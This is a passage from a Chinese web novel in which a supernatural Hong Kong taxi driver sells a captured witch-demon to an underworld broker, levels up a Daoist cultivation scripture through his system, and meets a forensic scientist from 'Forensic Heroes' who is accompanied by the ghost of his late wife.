“嗯……这东西嘛,纯金是纯金,分量也够,但工艺一般,按金价算肯定不值八千美元。不过嘛,这图案我倒挺喜欢,算是有点纪念意义。行吧,就当抵那八千了。”
罗杰和卡洛琳一听,顿时喜出望外,连连道谢,心中的大石终于落地。
他们生怕古德不满意,那后果可就难料了。
交易完成,古德将现金和金八卦收好,对卡洛琳一家摆了摆手:
“好了,事情已了,我也该回去了。这扇被撞坏的门,你们自己找人来修一下吧。”
说完,他也不多停留,转身走向自己的出租车。
卡洛琳和罗杰站在破败的门口,目送着古德上车、发动引擎,载着那个被封印的恶魔,缓缓驶离了他们的视线。
直到出租车彻底消失在道路尽头,两人才真正放松下来,对视一眼,都从对方眼中看到了劫后余生的庆幸和深深的疲惫。
“终于……结束了。”
罗杰搂住妻子的肩膀,轻声说道。
而车内,古德看了一眼副驾驶上那一动不动的“乘客”,又摸了摸口袋里那块沉甸甸的金八卦法器,嘴角露出一丝满意的笑容。
这趟跨国“出差”,虽然波折不少,但收获似乎……还不错?
接着古德带着这残废的恶魔,在这人生地不熟的地方绕了几圈后。
他对着系统道:“系统,时间到了,送我回去吧。”
下一秒,古德的出租车前,出现了一个熟悉的旋涡。
第132章 回到香江,榨干剩余价值
眼前的空间一阵轻微的扭曲波动,如同穿过一层温热的水幕,周围的景象瞬间切换。
喧嚣的市声、潮湿的空气、熟悉的霓虹灯光重新将古德包裹。
他已经回到了香江的某条街道上。
此时香江的时差和阿妹国不一样,才刚傍晚,夕阳的余晖才刚刚开始染红天际,距离彻底入夜还有一段时间。
古德缓缓将车停靠在路边,没有立刻下车。
稳定了一下心神,古德在心中默念,唤出了系统面板。
半透明的界面浮现在眼前,他的目光直接落在了【当前公里数】那一栏。
数字跳动,最终定格。
公里数:1250.3
古德眉头微微一挑,心里快速盘算起来:
“这一趟跨国‘出差’,载了卡洛琳(人),回来时车上还‘搭载’着那个女巫恶魔(鬼),人鬼双份收益。
再加上系统升级后的‘跨国业务三倍里程奖励’……啧啧,这一趟竟然直接刷了430多公里!再加上之前攒下的八百多公里,这下直接突破一千二了!
这次主要还是去驱魔了!不然的话公里数就更多了,下次注意多接客,先把公里数刷够再去捉鬼!”
不过这个数字还是让古德颇为满意,因为他可以开始下一步计划。
“不错不错,晚上回去就可以把新的**点起来了。”古德美滋滋地想道。
实力提升永远是第一位的。
不过,看着天色尚早,夜生活才刚刚开始,正是拉客赚钱的好时辰。
而且,副驾驶上还坐着那位女巫恶魔。
有它在车上,就意味着接下来拉的每一位活人乘客,都能享受“人鬼同乘”的双倍公里数加成!
这简直就是个移动的公里数倍增器啊!
“趁它还有用,再多跑几单!”
古德打定主意,重新发动了车子,融入了晚高峰渐退的车流中。
然而,接下来的营运过程,却发生了一些让古德有点哭笑不得的小插曲。
“师傅,你这冷气是不是开得太猛了点啊?现在虽然是夏天,但你这车里跟冰窖一样,冻得我骨头缝都发凉啊!”
一位穿着短袖衬衫的上班族大叔,上车不到五分钟就开始搓胳膊,忍不住抱怨道。
另一位打扮时髦的年轻女郎更是直接打了个喷嚏,裹紧了薄外套,小声嘀咕:
“阿叔,你是不是空调坏了?怎么阴风阵阵的……”
古德只能一边操控着方向盘,一边无奈地耸耸肩,随口敷衍道:
“不好意思啊,冷气系统有点老旧,时好时坏,我回头就去修。”
他心里却明白,因为旁边坐着个源源不断散发阴寒之气的西洋恶魔,这车内温度能高才怪!
这简直就是纯天然、零能耗、全自动超级制冷系统,效果比什么名牌空调都强劲。
好在系统赋予的“车内绝对安全空间”效果非凡,不仅隔绝了物理和灵异攻击,似乎也将这种持续性的阴气侵蚀转化为了无害的“低温环境”。
否则,普通人在这种浓度的阴气里待久了,少不得要大病一场,回去后估计得连着做好几天噩梦。
就这样,古德载着几位抱怨“空调太冷”的乘客,以及那位默不作声、但存在感极强的“特殊乘客”,在香港的街巷中穿梭,直到夜幕彻底降临,华灯初上。
送走最后一位乘客后,古德看了看时间,又看了看导航,习惯性地将车开到了那条熟悉的、靠近郊区的阴阳路十字路口。
别问他为什么还来这儿,问就是习惯成自然,
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而且最后一位乘客的目的地刚好就在这附近。
这里人烟相对稀少,光线昏暗,氛围“合适”,是他和“下面”进行“业务交接”的老地方。
停稳车,古德熄了火,推门下车。
夜晚的凉风吹散了车内的些许阴冷气息。
他靠在车门边,从口袋里摸出一支烟,“啪”一声点燃,深深吸了一口,烟草的辛辣味驱散了些许疲惫。
然后,他朝着空旷的十字路口中心,像是自言自语又像是呼唤般喊了几声:
“岚婆?岚婆!出来收货了,有新鲜货到!”
声音在寂静的夜里传出老远,带着些许回音。
岚婆这位阴间的采购商行踪不定,有时候响应迅速,有时候则要等上好一阵子,全看她当时在哪个角落溜达。
今晚岚婆的效率似乎挺高。
古德手里的烟才抽了不到一半,就敏锐地察觉到身旁的空气泛起一阵微不可查的涟漪,一股熟悉的、带着纸钱和香火味道的阴气悄然弥漫开来。
紧接着,岚婆那略显佝偻、穿着深色寿衣的身影,如同从水墨画中浸出一般,缓缓由虚转实,出现在古德身边。
她脸上还是那副似笑非笑的表情,打量了一下古德和他的车,慢悠悠地开口,声音带着特有的沙哑:
“德仔,最近生意很旺嘛,勤快得紧啊,这么快又来交货了?”
古德掐灭还剩小半截的烟头,笑了笑:“混口饭吃嘛,岚婆。”
他先转身打开后备箱,从里面提出一个花瓶,里面装着的正是之前收拾掉的那一家四口厉鬼。
他将花瓶递给岚婆:“喏,这次就这四个,不过大头不在这里。”
岚婆接过花瓶,手感掂量了一下,点了点头,然后好奇古德说的大头。
第133章 地府的货币
古德拉开了副驾驶的车门。
顿时,一股更加强烈的阴寒邪气涌出。
他伸手,像是拖麻袋一样,将那个依旧被桃木剑贯穿躯干、贴着好几张镇鬼符、四肢残缺的女巫恶魔给“请”了出来,杵在岚婆面前。
“岚婆,看看这个,”古德拍了拍恶魔那冰凉僵硬的肩膀,“西洋货,刚‘进口’的,你看收不收?”
岚婆看到这个形象迥异、散发着浓郁西方地狱气息的恶魔,昏花的老眼中第一次露出了明显的惊讶神色。
她凑近了些,像鉴定古董一样上下仔细打量着恶魔,甚至还伸出枯瘦的手指,隔空感受了一下它残留的能量波动。
“啧啧啧……德仔,可以啊!”
岚婆忍不住赞叹道,“业务范围拓展得够宽的,都做到西洋鬼那边去了?这玩意儿……可不多见呐!”
她绕着恶魔走了一圈,沉吟片刻后说道:
“这种西洋恶魔,跟咱们东方的鬼魂路数不太一样,地府的阴德结算系统里没有直接对应的兑换标准。不过……”
岚婆话锋一转,眼中闪过一丝精明的光,“下面有些大佬就好这一口,喜欢收集这些稀罕的‘外来品种’,用来研究、炼器,或者干脆当个稀罕物摆着看。
要是找到合适的买家,能卖上个不错的价钱。你可以选择兑换成地府通用的冥钞,或者……老身可以帮你运作一下,折算成等价的阴德,你看怎么样?”
古德一听,摸了摸下巴,心想:“好家伙,地府也搞跨文化收藏了?还有这种市场需求?看来不管阳间阴间,猎奇心理都是共通的。”
对于岚婆提出的两种结算方式,他更关心实际价值。
说到钱,古德想起之前岚婆给过他的那种印着“天地银行”的冥钞。
他从驾驶座的储物格里拿出一张崭新的万元面额冥钞,在手里甩了甩,好奇地问岚婆:
“岚婆,你说的冥钞,就是这种吧?这玩意儿在下面……真能当钱花?能买些什么?”
岚婆看到冥钞,脸上露出一种“你终于问到点子上”的笑容,耐心解释道:
“这冥钞啊,在下面的用处可大着呢!正所谓‘有钱能使鬼推磨’,这话在下面更是至理名言。只要你的冥钞够多,下面很多好东西都能买到.......
比如某些特殊阴材炼制的法器、增长魂力的丹药、甚至是一些消息、或者请动某些‘大人物’帮忙办事,都离不开它。这可是硬通货!”
古德捏着手里那张轻飘飘的纸币,追问道:“那像这一张,一万面额的,在下面能买点啥?”
岚婆瞥了一眼,随口道:“嗯……大概能雇个听话的小鬼给你跑跑腿,或者买几炷上好的安魂香吧。”
古德:“……”
他顿时觉得这购买力好像也不是特别给力,远不如直接能升级系统的阴德来得实在。
“算了算了,”
古德摆摆手,做出了决定,“冥钞我就不要了,岚婆你还是帮我换成阴德吧,实在点。”
说完,他把手里的女巫恶魔往前推了推。
不过,他马上又想起一件事,补充道:
“对了,岚婆,这家伙坐我车还没给钱呢!它答应付车费的。你搜搜它身上,看看有没有什么值钱的玩意儿,抵了车费先。”
他可没忘记这茬,毕竟蚊子腿也是肉。
岚婆闻言,有些好笑地摇摇头。
她手腕一翻,一条漆黑如墨、散发着森森寒气的锁魂链便出现在手中。
锁链如同有生命般,自动蜿蜒而出,将女巫恶魔牢牢捆缚。
古德见状,顺势将桃木剑从恶魔体内拔了出来。
岚婆伸出干枯的手指,在恶魔的灵体上仔细摸索探查了一番,就像海关人员检查行李一样。
片刻后,她收回手,摇了摇头:
“干干净净,穷鬼一个,魂体里除了怨气和那点恶魔本源,啥值钱的玩意都没有。德仔,你这车费怕是收不回来了。”
古德刚想说“算了算了”,脑海中却突然响起了系统的提示音,这次带着明显的警告意味
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【警告!检测到乘客(女巫恶魔)未支付车费。根据系统规则,若无法收取对应车费,该乘客所产生的全部公里数将在24小时后被强制收回!请宿主尽快处理!】
古德眼角猛地抽搐了一下,心里暗骂:
“我靠!这系统也太抠门了吧!连恶魔的车费都惦记?还带事后追缴的?”
这要是公里数被收回,那可就亏大了!
他连忙换上一副笑脸,对岚婆说道:
“岚婆,帮个忙!这车费它付不起,您看……要不您先替它垫上?等您把这货卖了,从货款里扣除就行!就当是预付款了!”
岚婆被古德这波操作弄得有点无语,没好气地瞪了他一眼:
“你小子,算计到老身头上来了?多少?”
古德笑嘻嘻地伸出三根手指:“不多不多,三百港币就行!”
他故意报了个阳间的数额。
岚婆闻言,脸上露出“你逗我呢”的表情,不过她也没多问,知道古德肯定有他的道理。
她像是变戏法一样摸出三张面额最小的冥钞(每张象征性代表一百港币),递给古德:“按阳间汇率,三张够了,拿去吧你!”
古德其实根本不在乎这点钱,他在乎的是系统规则。
接过三张轻飘飘的冥钞,他立刻感觉到系统提示的警告消失了,心里这才踏实下来。
“谢了岚婆!”
岚婆摇摇头,不再多言,拉着那条锁魂链,如同牵着一头不听话的牲口,转身便融入了路边的阴影之中,连同那个女巫恶魔一起,瞬间消失得无影无踪。
十字路口又恢复了寂静,只剩下古德和他的出租车。
晚风吹过,带起几片落叶。
古德长长地舒了一口气,这次跨国任务的后续事宜总算全部处理完毕。
他拉开车门,重新坐回驾驶座,发动引擎。
“回家,加点去!”
想到那1250点的公里数,古德的心情变得愉悦起来,方向盘一打,朝着自己那栋新买的小洋楼驶去。
第134章 新的**
出租车缓缓驶入元朗郊区,停在了那栋新买的小洋楼前。
夜色中,白色的二层小楼静静地矗立着,与周围稀疏的灯火相比,显得有几分孤寂。
古德停好车,拎着随身的挎包和琴盒,推开略显沉重的房门。
“吱呀——”
门轴发出轻微的摩擦声,在空旷的屋子里显得格外清晰。
古德按亮客厅的灯,昏黄的光线勉强驱散了入口处的黑暗,但更远处的空间依旧隐没在阴影里。
他环顾四周,昨天众人帮忙打扫后留下的痕迹还在,但偌大的空间里只有他一个人的呼吸声,确实感觉……有点空。
“一个人住这么大房子,是有点浪费啊。”
古德把东西随手放在客厅那张唯一的旧沙发上,揉了揉眉心,“打扫起来也麻烦,楼上楼下跑一圈都得喘口气。”
一个有点无厘头的念头突然冒了出来:“要不……真去抓几只听话的女鬼回来当免费佣人?负责扫地看门倒垃圾?”
想想还挺带感,就是不知道小鬼的保洁水平达不达标。
这念头也就是一闪而过。
眼下有更重要的事情要做。
他先去浴室冲了个热水澡,洗去一身风尘。
换上干净的背心短裤,感觉整个人都清爽了不少。
随后,他走进二楼那间暂时作为卧室的房间,这里只简单放了一张床和一张桌子,同样显得空荡,但至少够用。
古德盘膝坐在床上,深吸一口气,让心情平静下来。
接下来,就是期待已久的加点时刻了。
他早就想好了下一步要强化的方向。
之前学习的《金光咒》、《炁体源流》等,更多是侧重于外在的法术运用和基础修炼法门。
而这次,他瞄准的是道教上清派的核心根本经典《黄庭内景玉经》。
这部经典可不一般,在道门中被尊为“寿世长生之妙典”,是直指性命根本、追求长生久视的无上法门。
它与那些按部就班、遵循前人固定路线的**截然不同。
《黄庭经》的核心在于“内观存思,身神合一”。
简单来说,它不是让你去崇拜外在的神灵,而是将人体自身视为一个完整的小宇宙,通过特定的方法,唤醒、滋养并最终统御身体内部的种种身神。
修炼此经者,最终会成为自身小宇宙的“主宰”,统领体内诸神。
而且最奇妙的是,每个人修炼《黄庭经》,所显现的“身神”都会带有修炼者自身的独特印记,可谓“千人千面,神随人变”。
这是一条真正走向自我圆满、自成天地的道路。
《黄庭经》的修炼体系极为精微深奥,核心架构是“三元八景二十四真”:
三元:即人体三大能量中心——上丹田(泥丸宫,位于眉心深处,主神)、中丹田(绛宫,位于两乳之间,主气)、下丹田(脐下三寸,主精)。
八景:指与三丹田密切相关的八个重要窍穴,是身神显现和能量流转的关键节点。
二十四真:乃是分布于人体上、中、下三宫的二十四位主要身神,各有名号、形貌和职司。修炼者需要逐一认识它们,并通过“存思”之法与之沟通、调和。
修行之初,需从存思单一主要身神开始,循序渐进。
直至功夫深湛,达到“三部八景二十四真”同时显现于内景
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之中,神光交映,普照周身,使得整个身体如同琉璃宝塔,内外明澈,无暇无垢。
“这条路,才是正道啊。”古德眼中闪过一丝期待。
他不再犹豫,集中精神,向系统下达了指令:
“系统,消耗公里点数,将《黄庭内景玉经》直接提升到LV3!”
【叮!检测到宿主指令。】
【提升《黄庭内景玉经》至LV3,需消耗公里点数1110点。】
【当前公里点数:1250.3,是否确认提升?】
“确认!”
古德发现这系统升级后,智能了不少。
【指令确认!开始灌输《黄庭内景玉经》LV3境界感悟及相关知识……】
话音落下的瞬间,古德只觉得脑海“轰”的一声巨响,仿佛有无数信息洪流奔涌而入!
不再是简单的文字记忆,而是包含了无数玄妙的存思观想图景、身神感应法门、能量运转路线以及深奥的内景变化之理的庞大知识体系,如同醍醐灌顶般,直接烙印在他的意识深处!
紧接着,他的意识被抽离,坠入了一个虚无混沌、无上下左右之分的奇异空间。
在这里,时间失去了意义。
他仿佛经历了无数个日夜,不停地按照《黄庭经》的法门进行修炼。
从最初艰难地存思下丹田的“精元之神”,感受那一缕微弱的生机;到逐渐感应中丹田“气海之神”,调和呼吸与内息。
再到尝试沟通上丹田“元神之府”,凝聚精神之光……二十四位身神的形象、名号、职责,逐一清晰起来。
而在外界,古德盘坐的身体也开始发生肉眼可见的变化。
第135章 巨大的改变
他周身原本流转的法力,开始缓缓内敛,如同百川归海,向着丹田气海汇聚。
这些液态的法力珠在《黄庭经》玄妙**的淬炼下,开始变得更加精纯、凝练,并且带上了一种内蕴的、生生不息的特性。
法力总量在系统力量的灌注下,开始显著增长。
同时,虚空中似乎有某种无形的、精纯的先天能量被引动,丝丝缕缕地透过屋顶,汇入古德的头顶百会穴,顺流而下,滋养着他的四肢百骸、五脏六腑。
这是系统辅助下,转换**后,对肉身和神魂的又一次深度洗礼和强化。
他的呼吸变得极其缓慢而深长,每一次吸气,腹部微微内敛,仿佛将周围空间的清气都吸纳进来;每一次呼气,则带着体内代谢的浊气,绵长而均匀。
皮肤表面隐隐泛起一层温润的宝光,如同玉石般的莹白光华。
最奇妙的变化发生在他的内景之中。
随着修炼的深入,古德“看”到了自己身体内部的情景。
不过这只是一种内视,并非肉眼所见。
下丹田处,一团赤红如火的能量漩涡缓缓旋转,中心仿佛有一个小小的、蜷缩的婴儿虚影,此乃精元之神,正散发着蓬勃的生命活力。
中丹田处,一片金黄氤氲的气海波澜涌动,中心有一位身着黄袍、面容模糊但气息平和的神人虚影,这是气海之神在那端坐,调节着全身的气机流转。
上丹田的泥丸宫中,一点紫金之色的光点如同星辰般闪耀,光点中隐约有一个与古德面容相似、但更加威严空灵的小人虚影,此为元神之府盘踞,统御着整个精神世界。
这还只是初步显现的几位主要身神。
随着**运转,在三丹田的周围,对应的“八景”窍穴也依次点亮,如同夜空中的星辰,与主神遥相呼应。
更细微处,二十四真的虚影也开始若隐若现,虽然还未完全凝实,但已经构成了一个初具雏形的、井然有序的内景神系。
这些身神虚影散发出的光芒相互交织、映照,使得古德的内景空间不再是一片黑暗,而是充满了柔和而明亮的光辉,仿佛体内升起了一轮轮小太阳,温暖、光明,驱散了一切阴霾和滞碍。
这正是“三部八景二十四真,神光交映,普照周身”的初步景象!
只不过这些景象目前都是很虚的存在,不过好在古德有系统,只要按部就班下去,把这些景象由虚化实,也不是很遥远的事情。
不知过了多久,或许只是片刻,或许是数个时辰。
古德浑身一震,从那种深度的内观状态中清醒过来。
意识回归身体,他缓缓睁开了眼睛。
双眸开阖之间,竟有一抹温润的莹白光华一闪而逝,眼神变得比以前更加清澈、深邃,带着一种洞察内外的宁静感。
他长长地吐出一口浊气,这口气息绵长无比,在安静的房间里带起一阵微弱的气流。
古德活动了一下有些僵硬的四肢,骨骼发出轻微的“噼啪”声,仿佛脱胎换骨一般,浑身充满了轻盈而充沛的力量感。
“仙人道士非有神,积精累气以为真。”
一句《黄庭经》中的经文自然而然地浮现在心头,古德忍不住低声吟出,心中感慨万千。
这一次的提升,远非之前学习法术可比。
这是一种生命层次的细微蜕变,是对自身内在宇宙的初步认识和掌控。
“这还只是LV3……要是到了LV4,甚至更高,那会是怎样一番光景?”
古德忍不住心生向往,对未来的修炼之路充满了期待。
他习惯性地唤出系统面板,想查看一下具体变化。然而,当半透明的界面出现在眼前时,他不
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由得愣了一下。
【姓名:古德】
【体质:9/10】(↑1身体根基稳固,气血充盈,即将达到常人极限)
【魅力:8/10】(神光内蕴,气质渐显)
【精神:9/10】(↑1神识清明,内观无碍)
【法力:8/∞】(↑3法力精纯,总量提升)
【可用属性点:140.3】
【当前阴德:210/30000】
【技能:黄庭内景玉经LV3(主导)、金光咒LV3、炁体源流LV2……等】
“体质涨了1点,精神涨了1点,法力直接涨了3点?!”古德有些惊讶。
他原本以为**升级主要提升的是技能等级和特殊效果,没想到对基础属性的带动也这么明显!
尤其是精神属性,直接关系到神识强度、内观能力和对复杂法术的掌控力,这一点提升可谓至关重要。
而法力总量提升三点,意味着他可持续作战和施展高消耗法术的能力大大增强。
“看来这根本性的修行**,果然不一样,是全面性的提升。”古德满意地点点头。
这样一算,足足剩了3000点公里数。
关闭系统面板,古德再次静下心来,尝试主动运转《黄庭内景玉经》。
他发现,之前学习的《基础呼吸法》并没有消失,而是自然而然地被整合了进来,变成了辅助恢复法力的被动效果,如同身体的自主呼吸。
而《黄庭经》的修炼,则需要他主动存思、引导,是一种更深层次的、主动的修炼。
随着意念沉入下丹田,那赤红的精元之神虚影再次浮现,周身暖洋洋的,十分舒适。
“是时候,可以把呼吸法大范围传出去了,准备好下一步计划了。”
古德嘴角露出一丝微笑,做好了下一步的计划。
第136章 日常出车小插曲
清晨的阳光透过百叶窗的缝隙,在木地板上投下斑驳的光斑。
古德不是被闹钟吵醒,也不是被窗外的鸟叫声惊醒,而是被脑海中一声清脆悦耳、如同金币落袋般的提示音唤醒的:
“叮——!”
【阴德到账:1250点。】
声音在意识深处回荡,带着一种令人心神愉悦的满足感。
古德迷迷糊糊地睁开眼,揉了揉眼睛,意识逐渐清晰。
“嗯?1250点?这么多?”他一个激灵,睡意瞬间跑了大半。
昨天处理掉那个西洋恶魔,虽然知道应该值点钱,但没想到岚婆这么给力,一下子转过来这么大一笔!
他迫不及待地在心中默念,唤出了半透明的系统面板,直接切换到“阴德交易记录”一栏。一条醒目的最新记录显示在那里:
【交易时间:今日凌晨】
【交易方:岚婆(地府代理人)】
【收入项目明细:
西洋恶魔售卖所得:800阴德
厉鬼超度:300阴德
恶鬼超度:150阴德
合计到账:1250阴德】
【当前阴德总额:1460/30000】
“好家伙!”
古德看着明细,忍不住咂咂嘴,心里乐开了花。
“这西洋恶魔这么值钱?居然能卖800点!都快赶上一只厉害的摄青鬼了!岚婆肯定还抽了成,要是直接交易,岂不是能上千?”
惊喜过后,他迅速盘算起来。
1460点阴德,距离下一个系统升级目标30000点还差得远,但已经可以兑换一些实用的车辆改装部件了。
他心心念念的【后备箱空间扩容组件】(需要阴德2000点)还差540点。
“540点……按一只普通游魂野鬼值10点阴德来算,那得抓54只才行啊。”
古德摸着下巴,感觉任重道远,“这得跑到什么时候?看来还是得找‘精英怪’才行。”
不过,他转念一想,心情又轻松起来:
“不过有谢潮和周星星他们的灵异事务科,他们那边要是接到大案子,顺手收拾几个厉鬼什么的,我这边也能分点阴德。说不定很快就能凑齐了。”
这么一想,古德顿时觉得前景一片光明。
他美滋滋地翻身下床,哼着不成调的小曲,走进浴室开始洗漱。
冰凉的水扑在脸上,让他彻底清醒过来。
看着镜子里精神焕发的自己,他握了握拳:“今天又是努力赚阴德的一天!加油!”
洗漱完毕,换上一身干净的便装,古德拎起车钥匙和随身挎包,心情愉悦地出了门。
清晨的空气带着一丝凉爽,他的红色出租车安静地停在院门口。
发动引擎,熟悉的震动感传来。
古德熟练地挂挡、松手刹,出租车轻巧地驶出小洋楼。
他今天没什么特定目标,打算就在街上转转,看看能不能碰到些小鬼,顺便留意一下有没有什么不寻常的动静。
时间一晃就到了中午。
烈日当空,街道上热浪滚滚,行人匆匆。
古德刚送完一位去菜市场的阿婆,正沿着一条相对安静的街道慢速行驶,目光扫视着路边,寻找着下一个乘客。
就在这时,他看到一个穿着西装,略微有些发福的中年男人站在路边,正有些焦急地挥着手。
古德一阵无语,好家伙,大热天穿西装!
那个男人圆脸寸头,古德看着有点……眼熟?
古德放缓车速,靠边停下。
男人连忙拉开后车门,坐了进来,带进一股热气。
他一边用手帕擦着额头的汗,一边略带歉意地笑道:“不好意思啊师傅,天气太热了。去九龙何文田,公主道101号,麻烦快一点,我赶时间。”
古德透过后视镜打量着这位乘客。
越看越觉得这张脸熟悉,尤其是那笑眯眯的眼睛和略显富态的脸庞……这不是欧阳胖胖?
古德心里嘀咕了一句。
这位可是香港影视剧里的熟面孔了,演过不少经典角色。
就是不知道眼前这位,具体是哪一部戏里的?
“好的,何文田公主道101号。”古德重复了一遍地址,正准备起步。
忽然,他听到另一侧后车门传来一声极其轻微的“咔哒”声。
通过后视镜,他看到一个穿着素色连衣裙、面容苍白但清秀的年轻女子的身影,悄无声息地坐进了车里,就坐在那位“欧阳胖胖”先生的旁边。
她坐下后,便静静地、带着一种难以言喻的深情,凝视着身旁的男人。
然而,这位胖胖的男人似乎毫无察觉,他只是有些疑惑地扭头看了看自己这边刚刚关上的车门,又看了看另一侧空着的座位,嘴里轻“咦”了一声,好奇地对古德说:
“师傅,你这车……挺高级啊,车门还会自动开关?是坏了还是有什么感应功能?”
他脸上带着点调侃和好奇,显然是把刚才的动静当成了车辆故障。
古德闻言,心里觉得好笑,表面上却不动声色,只是淡淡地笑了笑,随口应付道:
“可能是吧,这车年纪大了,偶尔闹点小脾气。也有可能是哪个喜欢恶作剧的小鬼跟你开玩笑呢。”
他这话一语双关,既指机械故障,也暗指了那位看不见的“乘客”。
这个男人听了,哈哈一笑,只当古德在说笑,没往心里去:“靓仔你真会讲笑,这世界哪里有鬼?”
古德笑了笑,没再解释,熟练地挂挡起步,出租车平稳地汇入车流。他一边开车,一边在心里快速思索:
“欧阳真华的形象
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……身边跟着一个深情款款的女鬼……这组合是哪部?”
他努力在记忆中搜索着相关的影视剧。
透过后视镜,古德再次仔细观察那个女鬼。
她看起来很安静,没有一般厉鬼的怨气和凶戾,只是痴痴地看着身边的男人,眼神里充满了眷恋和不舍,似乎……并没有什么恶意,更像是在默默守护。
这种类型的女鬼,通常都是有未了的心愿,或者与生者有极深的羁绊。
“这单生意……有点意思。”
古德心想,“看样子这女鬼是跟着这个男人的。就是她坐车,这车费怎么付?要不让这这欧阳胖胖见她一面,然后帮她付车费?”
他正盘算着怎么处理这人鬼同乘的车费问题,不然这系统不认啊。
“叮铃铃……叮铃铃……”
一阵略显刺耳的老式手机铃声在车内响起。
古德瞥了一眼后视镜,只见这个男人从裤袋里掏出了一个……翻盖手机!
古德眼睛微微睁大,心里有些惊讶:
“嗯?翻盖手机已经出现了吗?这都跳过大哥大了。”
他印象里,香港这时候应该是从BB机过渡到大哥大的阶段,怎么就直接跳科技了。
只见这男人“啪”一下翻开手机盖,凑到耳边:“喂?是我。”
这早期翻盖手机的听筒和话筒隔音效果似乎不咋地,加上车内空间封闭,电话那头一个年轻女子的声音清晰地传了出来,连古德都能听个大概:
“高sir!你到哪里了?鉴定报告的单子出来了吗?我急着要呢!”
被称为“高sir”的男人脸上露出一丝无奈,回答道:
“出来了出来了,就在我公文包里。不过我自己的车子突然抛锚了,现在正在打车赶过来,堵在路上了。马上就到,很快!”
“好的高sir,你快点啊!”
“知道了。”
而就在这通电话的过程中,古德脑子里突然闪过一个电视剧!
“高sir?鉴定报告?”
结合这脸欧阳胖胖的脸,古德猛地想起来了!
这分明就是电视剧《法证先锋》里的角色嘛!
这位应该是高彦博,高级化验师,法证部的精英!
而他身边那位女鬼……如果没记错的话,应该就是他的亡妻——古泽瑶!
在剧中,古泽瑶因意外成为植物人后离世,古德猜测古泽瑶因为深爱着高彦博,死后灵魂一直默默守护在他身边,直到最终了无遗憾地去投胎。
“原来是他们!”
古德心中豁然开朗,这下就对上了!
难怪那女鬼看起来那么深情且无害,原来是放心不下丈夫的亡妻。
这样一来,情况就明朗多了,这古泽瑶的车费,高彦博是出定了。
古德嘴角微微上扬。
第137章 车内的相遇
出租车平稳地行驶在通往九龙何文田公主道的路上,午后的阳光透过车窗,在车内投下斑驳的光影。
古德透过后视镜,不动声色地观察着后座的情况。
高彦博似乎还在为工作的事情有些焦急,时不时看一眼手表
而他身旁,古泽瑶的鬼魂则始终安静地坐着,目光温柔地追随着丈夫的一举一动,那眼神中蕴含的深情与不舍,几乎要溢出来。
眼看目的地公主道101号就要到了,古德知道不能再等。
他清了清嗓子,用一种平淡无奇、仿佛在讨论天气般的语气,头也不回地对着后座说道:
“高先生,快到地方了。有件事先跟你说一下,等下下车的时候,麻烦把你身边这位小姐的车费也一并付了。”
“什么?”
高彦博闻言一愣,下意识地转头看了看自己旁边的空座位,又疑惑地看向古德的背影,脸上写满了莫名其妙。
“司机,你讲笑啊?我身边哪里有人?你是不是看错了?”
他甚至还伸手在旁边空位上拍了拍,以证明那里确实空空如也。
古德没有立刻回答,只是轻轻踩下刹车,将车子缓缓停靠在公主道一处相对僻静、允许临时停车的路边。
车停稳后,他转过身,目光平静地看向高彦博。
“是不是讲笑,你看看就知道了。”
话音未落,古德右手食指与中指悄然并拢,指尖一缕微不可查的法力瞬间凝聚。
他以迅雷不及掩耳之势,出手如电,指尖在高彦博眼前虚划而过,动作轻柔却带着某种玄妙的轨迹,仿佛擦亮了一面蒙尘的镜子。
这正是人临时开眼的小术法,能让普通人在短时间内看到另一个维度的存在。
高彦博被古德这突如其来的动作吓了一跳,身体猛地向后一缩,脸上瞬间浮现出警惕和怒意:
“喂!你做什么!你想干嘛?!”
他以为遇到了什么歹徒或者骗子,下意识地就要去摸口袋里的手机报警。
然而,就在他愤怒的质问脱口而出的瞬间,他的视觉发生了翻天覆地的变化!
眼前原本空无一物的座位旁,光影一阵轻微的扭曲,如同水波荡漾。
紧接着,一个穿着素雅连衣裙、面容苍白却带着熟悉温柔笑意的女子身影,由淡转浓,清晰地出现在他的眼前!
那张脸……那张他朝思暮想、只能在照片和回忆中见到的脸!
高彦博的瞳孔骤然收缩,呼吸瞬间停滞,整个人如同被一道闪电劈中,僵在了原地。
他张大了嘴巴,眼睛瞪得滚圆,脸上血色褪尽,充满了极致的震惊和难以置信!
“阿……阿……阿瑶?!!”
他从喉咙深处挤出一声颤抖的、几乎变调的呼唤,声音里充满了惊骇与无法言喻的复杂情感。
古泽瑶也被这突如其来的变故惊呆了。
她没想到古德会有如此手段,更没想到丈夫竟然真的能看见自己了!
她先是下意识地想要躲藏,但看到高彦博那震惊痛苦的眼神,心中涌起无限酸楚与怜爱。
她稳住心神,努力露出一个和生前一样温柔的笑容,轻声回应道:“彦博……是我。”
这熟悉的声音,这刻骨铭心的笑容,彻底击碎了高彦博的理智防线。
巨大的惊喜如同潮水般涌上心头,他几乎要扑过去抱住妻子:“阿瑶!真的是你!我……我好想你啊!”
他的声音哽咽,眼圈瞬间就红了。
“我知道的,彦博,”古泽瑶的声音也带着哽咽,“我一直都在你身边,看着你,陪着你……只是你看不见我。”
然而,高彦博毕竟是受过高等教育、从事严谨科学工作的法证专家。
极度的震惊和狂喜过后,强大的理性思维迅速回归。
他猛地转过头,用怀疑和愤怒的目光死死盯住古德,厉声质问道:
“你!你到底对我做了什么?!是不是用了什么致幻剂?或者是
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什么高级的催眠手法?你有什么目的?!想**还是什么?!”
他更愿意相信这是一个人为的骗局,而不是颠覆他几十年科学认知的灵异事件。
古德看着高彦博那副“科学卫士”的模样,无奈地叹了口气,揉了揉眉心。
跟这种理智大于情感的知识分子打交道,就是麻烦。
他摆了摆手,语气带着点不耐烦:
“高先生,你想太多了。世界上有什么**或者催眠术,能让你在保持完全清醒理智的情况下,产生这么清晰、这么符合你内心渴望的‘幻觉’?
而且还能跟你进行逻辑清晰的对话?你自己就是搞鉴证的,用你的专业头脑想想,这可能吗?”
高彦博被古德问得一滞,张了张嘴,却无法反驳。
的确,眼前的“阿瑶”太真实了,眼神、语气、甚至一些小动作,都和他记忆中的妻子一模一样,这绝不是简单的致幻剂能模拟出来的。
见高彦博还在将信将疑,古德也懒得再多费口舌证明什么。
他伸出右手食指,指尖上一缕细小的蓝色电弧“噼啪”一声跳跃出现,发出微弱但清晰的光芒。
“我也不是非要让你相信这世上有鬼。”
古德淡淡地说道,同时手指轻轻一弹,那缕电弧如同有生命般,倏地一下窜到高彦博的手臂上。
“呃啊!”高彦博只觉得手臂一麻,如同被静电狠狠电了一下,整个人不由自主地打了个哆嗦,又惊又怒地看向古德。
“这也不是魔术。”
古德收回手指,语气依旧平淡。
